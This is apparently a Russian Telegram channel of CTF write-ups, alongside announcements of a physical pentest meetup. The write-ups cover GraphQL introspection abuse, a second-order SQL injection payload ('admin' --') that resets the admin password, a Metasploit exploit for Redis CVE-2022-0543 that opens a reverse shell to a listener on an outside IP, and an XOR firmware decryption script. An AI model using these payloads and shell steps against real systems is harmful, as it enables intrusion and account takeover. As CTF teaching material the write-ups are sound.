Райтапы по CTF{2026}
3.82K subscribers
264 photos
26 videos
88 files
458 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
Всем спасибо, кто пришел на наш митап по физическому пентесту!

Надеюсь, вам понравилось!

Запись будет позже!

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
41🔥224😱21
Райтапы по CTF{2026}
🚨 Митап по физическому пентесту — 29 января, Москва! Хочешь узнать, как выглядит полный цикл физического пентеста — от OSINT до проникновения в офис? Тогда тебе сюда 👇 📅 Когда: 29 января, 18:00–21:00 (МСК) 📍 Где: офис Solar на Никитском В программе —…
Если на этот пост, поставить огонечки и сердечки, то можно ускорить загрузку видео с митапа по физическому пентесту

А еще подпишитесь на 📺 RUTUBE, чтобы ничего не пропустить!

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥681561
💥 Записали митап по физическому пентесту — теперь всё лежит на RUTUBE.

29 января мы собрались в офисе Solar в Москве и поговорили про полный цикл физического пентеста: от OSINT и подготовки легенды до проникновения в офис и использования железа вроде O.MG Cable.

В плейлисте три доклада:

🔹 Егор Зайцев (@pro_pentest) — «Физический пентест: от OSINT до полной компрометации компании»
🔹 Андрей Зенин (Бастион) — «Физический пентест: этапы, практика и реальные кейсы»
🔹 Александр Хабибуллин (CyberOK) — «O.MG Cable: доверие к USB обернулось атакой»

Если интересен реальный физический редтимминг, социальная инженерия и практические кейсы с полей — залетай смотреть.

👉 Плейлист тут:
https://rutube.ru/plst/1456882/

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
20
Райтапы по CTF{2026}
💥 Записали митап по физическому пентесту — теперь всё лежит на RUTUBE. 29 января мы собрались в офисе Solar в Москве и поговорили про полный цикл физического пентеста: от OSINT и подготовки легенды до проникновения в офис и использования железа вроде O.MG…
Друзья, я знаю, что вам не хватило времени задать свои вопросы Егору, и именно поэтому мы решили провести СТРИМ-поскриптум, где ответим на всё, что вас интересует!

Форма, куда можно отправить свой вопрос:
https://forms.yandex.ru/u/6984a1da90fa7b1a56545f8c/

На всякий случай — запись доклада для тех, кто ещё не посмотрел:
https://rutube.ru/video/a54900346f6b71186397e2e232839c18/

Стрим проведём 13 февраля — включайте уведомления, чтобы не пропустить!

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
11453
Forwarded from InfoSec VK Hub
Всем привет!

А вот и финальный разбор в нашей серии! Последний пазл, флаг за который дал целых 400 очков. Иногда самая простая ошибка — оставить introspection в GraphQL — становится очень дорогой...

Persik ICO Writeup
category: web, points: 400

Airdrop токена Persik уже прошёл, а вы - опоздали ... но сервис хранит больше данных, чем должен!
Достаньте любой eligible-адрес и заберите флаг
После подключения кошелька видно, что для проверки участвует ли адрес в airdrop'е отсылается GraphQL query checkAirdrop на эндпойнт /graphql. Увидим, что по этому пути нам доступен GraphiQL.


Проверим включена ли introspection:
query { __schema { types { name kind fields { name type { name kind } } } } }

Из схемы составим query getEligibleUsers и получим список список адресов участников airdrop'а:
query GetEligibleUsers { getEligibleUsers { address tokensClaimed airdropEligible } }

Выберем любой адрес и передадим его в checkAirdrop:
query CheckAirdrop($addr: String!) { checkAirdrop(address: $addr) { address tokensClaimed airdropEligible flag } }
И получим флаг:
{
  "data": {
    "checkAirdrop": {
      "address": "0x8ba1f109551bD432803012645aac136c22C19e00",
      "tokensClaimed": 3000,
      "airdropEligible": true,
      "flag": "vkctf{edd3417a9eb5c85b361d196e504b05a0}"
    }
  }
}

Опционально можно было использовать адрес администратора из admin query:
query AdminInfo { admin { secretKey vaultAddr } }


На этом серия разборов подходит к концу. Мы прошли путь от базовых уязвимостей до тонкостей GraphQL, где одна невыключенная настройка открыла доступ ко всей логике и данным сервиса. Этот таск — отличное напоминание: безопасность API часто ломается на самых простых вещах: забытых отладочных интерфейсах, излишней детализации ошибок или избыточных правах.

Предыдущие разборы серии:

1 часть
2 часть
3 часть

VK Security | Буст этому каналу

#разбор #CTF
94
Forwarded from DUCKERZ
🔥 DUCKERZ CTF 2026 – ПОЕХАЛИ!

Соревнование DUCKERZ CTF 2026 официально началось! Желаем всем участникам удачи и успешного решения задач.

👉 Участвовать 👈

🐥Формат task-based
🐥Команды до 5 человек
🐥С 12:00 7 февраля по 12:00 8 февраля (МСК)
🐥Пример флага: DUCKERZ{c7f_b3g1n5}
🐥Бот поддержки: @duckerz_ctf_bot

🐥 Канал | 🐥 Чат | 🐥 Платформа | 🐥 Регистрация
Please open Telegram to view this post
VIEW IN TELEGRAM
64😱1
#duckerzctf2026 #Web

🏥 Клиника [клик]

Уязвимость Second-Order SQL Injection в обработчике /update-password. Хотя регистрация и вход используют параметризованные запросы, имя пользователя из сессии подставляется в SQL-запрос обновления пароля через обычную шаблонную строку.

Это позволяет использовать «отравленный» логин для атаки на базу данных. Регистрируем аккаунт с пейлоадом в качестве имени пользователя:
admin' --


После входа под этим аккаунтом значение попадает в сессию. При смене пароля в настройках профиля сервер выполнит инъекцию: кавычка закроет поле username, а символы -- закомментируют остаток оригинального запроса.

В результате SQL-запрос изменит пароль не нам, а администратору:
UPDATE users SET password = '[hash]' WHERE username = 'admin' --'


Заходим под admin с новым паролем и забираем флаг в панели управления.

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
9
#duckerzctf2026 #Misc

Редиска [клик]

Flask-приложение с Redis. Имитация старой системы "Enterprise Logic Pro 2000". Сразу обращаем внимание на версию Redis, используемую на сервере. Это Redis 5.0.7. Он не защищен паролем (requirepass пустой), что позволяет любому пользователю отправлять команды без аутентификации, но флага там нет.

Эта версия Redis уязвима к CVE-2022-0543. Это критическая RCE-уязвимость в Redis для Debian и Ubuntu, позволяющая выполнить произвольный код на сервере через обход ограничений Lua-песочницы.

msfconsole
use exploit/linux/redis/redis_debian_sandbox_escape


На сервере с белым IP открываем listener на 4444 порту
nc -lvnp 4444


set RHOSTS 94.19.79.169
set RPORT 20004
unset PASSWORD
set LHOST 45.140.19.200
set LUA_LIB /usr/lib/x86_64-linux-gnu/liblua5.1.so.0
set ForceExploit true


Получаем rev-shell на тачке с Redis. Флаг находится в корне
cat ../../flag.txt

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
51
#duckerzctf2026 #Hardware

Заброшенный маяк [клик]

Открываем firmware.elf в IDA Pro. В окне Functions видим:
decrypt_flag (0x4B) — ключевая функция.
main (0x7D) — основная программа
eeprom_read_byte (0xDC) — чтение из EEPROM

В окне Structures видим сегменты:
.text — код программы
.data — данные (адрес 0x800100)
.eeprom — EEPROM данные (адрес 0x810000)


Исследование функции decrypt_flag:
.text:0000004B decrypt_flag:                           ; CODE XREF: main+F↓p
.text:0000004B push r12
.text:0000004C push r13
.text:0000004D push r14
.text:0000004E push r15
.text:0000004F push r16
.text:00000050 push r17
.text:00000051 push YL
.text:00000052 push YH
.text:00000053 movw r12:r13, r24:r25
.text:00000054 movw r16:r17, r24:r25
.text:00000055 ldi YL, 0
.text:00000056 ldi YH, 0
.text:00000057 mov r0, ZH
.text:00000058 ldi ZH, 5
.text:00000059 mov r14, ZH
.text:0000005A mov r15, r1
.text:0000005B mov ZH, r0
.text:0000005C
.text:0000005C loc_5C: ; CODE XREF: decrypt_flag+26↓j
.text:0000005C movw r24:r25, Y
.text:0000005D subi r24, 0
.text:0000005E sbci r25, 0
.text:0000005F call eeprom_read_byte
.text:00000061 mov r18, r24
.text:00000062 movw r24:r25, Y
.text:00000063 movw r22:r23, r14:r15
.text:00000064 call _div
.text:00000066 movw Z, r24:r25
.text:00000067 subi ZL, 0
.text:00000068 sbci ZH, -1
.text:00000069 ld r24, Z
.text:0000006A eor r24, r18
.text:0000006B movw Z, r16:r17
.text:0000006C st Z+, r24
.text:0000006D movw r16:r17, Z
.text:0000006E adiw Y, 1
.text:0000006F cpi YL, 0x1F
.text:00000070 cpc YH, r1
.text:00000071 brne loc_5C
.text:00000072 movw Z, r12:r13
.text:00000073 std Z+0x1F, r1
.text:00000074 pop YH
.text:00000075 pop YL
.text:00000076 pop r17
.text:00000077 pop r16
.text:00000078 pop r15
.text:00000079 pop r14
.text:0000007A pop r13
.text:0000007B pop r12
.text:0000007C ret
.text:0000007C ; End of function decrypt_flag


Ключевые моменты:
- Чтение из EEPROM
- Операция XOR (eor инструкция)
- Ключ длиной 5 байт (делитель = 5)

Переходим к сегменту .data (адрес 0x800100):
.data:00800100 xor_key:        .db 0x37, 0x42, 0x15, 0x7A, 0x2F ; 


Переходим к сегменту .eeprom (адрес 0x810000):
.eeprom:00810000 encrypted_flag: .db 0x73, 0x17, 0x56, 0x31, 0x6A, 0x65, 0x18, 0x6E, 0x3F
.eeprom:00810009 .db 0x6A, 0x67, 0x10, 0x25, 0x37, 0x70, 0x44, 0x31, 0x25
.eeprom:00810012 .db 8, 0x4A, 0x13, 0x1D, 0x22, 0x12, 0x6A, 0x68, 4, 0x79
.eeprom:0081001C .db 0x4E, 0x44, 0x4A, 0


Написание скрипта для расшифровки:
encrypted = bytes([
0x73, 0x17, 0x56, 0x31, 0x6A, 0x65, 0x18, 0x6E,
0x3F, 0x6A, 0x67, 0x10, 0x25, 0x37, 0x70, 0x44,
0x31, 0x25, 0x08, 0x4A, 0x13, 0x1D, 0x22, 0x12,
0x6A, 0x68, 0x04, 0x79, 0x4E, 0x44, 0x4A, 0x00
])

key = [0x37, 0x42, 0x15, 0x7A, 0x2F]

flag = ""
for i in range(31):
flag += chr(encrypted[i] ^ key[i % 5])

print(f"Flag: {flag}")

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6